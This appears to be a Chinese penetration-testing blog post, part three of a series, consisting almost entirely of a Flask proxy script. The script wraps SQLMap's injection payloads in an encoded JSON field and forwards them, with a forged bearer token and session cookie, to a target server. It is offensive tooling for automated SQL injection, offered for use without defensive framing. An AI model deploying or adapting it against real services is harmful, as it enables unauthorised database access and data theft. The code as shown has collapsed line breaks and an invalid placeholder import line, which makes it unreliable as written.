聊聊攻防渗透中的一些技巧和打法（三）

from flask import Flask, request, Responseimport requestsimport urllib.parseimport 编码A，编码Bapp = Flask(__name__)@app.route('/proxy', methods=['POST'])def proxy():    if 'FieldAAA' not in request.form:        return Response("Missing 'FieldAAA' parameter", status=400)    # 获取SQLMap发送的数据    FieldAAA = request.form['FieldAAA']    # 构造需要注入的lsdata字段内容    lsdata = """{        "AAAA": "AAAA",        "bbb": false,        "CCC": true,        "FieldAAA": "%s",        "PageSize": "100",        "PageIndex": 0,        "CustomOrder": true,        "Conditions": [            {"asaa": "a"},        ],        "Isqqqqqqq": true,    }""" % FieldAAA    lsdata = 编码A(lsdata.encode())    lsdata = 编码B(lsdata)    lsdata = urllib.parse.quote(lsdata)    # 重新构建HTTP请求包    url = 'http://XXX.XXX.COM'  # 修改为目标服务端的URL    headers = {key: value for key, value in request.headers.items() if key != 'Host'}    headers['Content-Length'] = str(len(lsdata))    headers['X-Requested-With'] = 'XMLHttpRequest'    headers['Authorization'] = 'Bearer AAAA'    headers['Cookie'] = 'SessionId=qqqqqqqqq;'    body = 'lsdata=' + lsdata + '&requestaaaaa=12222'    # 设置代理    proxies = {        'http': 'http://127.0.0.1:8080',        'https': 'http://127.0.0.1:8080'    }    # 发送重组后的数据包给目标服务端    response = requests.post(url, headers=headers, data=body, proxies=proxies)    # 将response.headers转换为字典    headers_dict = dict(response.headers)    # 返回服务端的响应给SQLMap    return Response(response.content, status=response.status_code, headers=headers_dict)if __name__ == '__main__':    app.run(debug=True)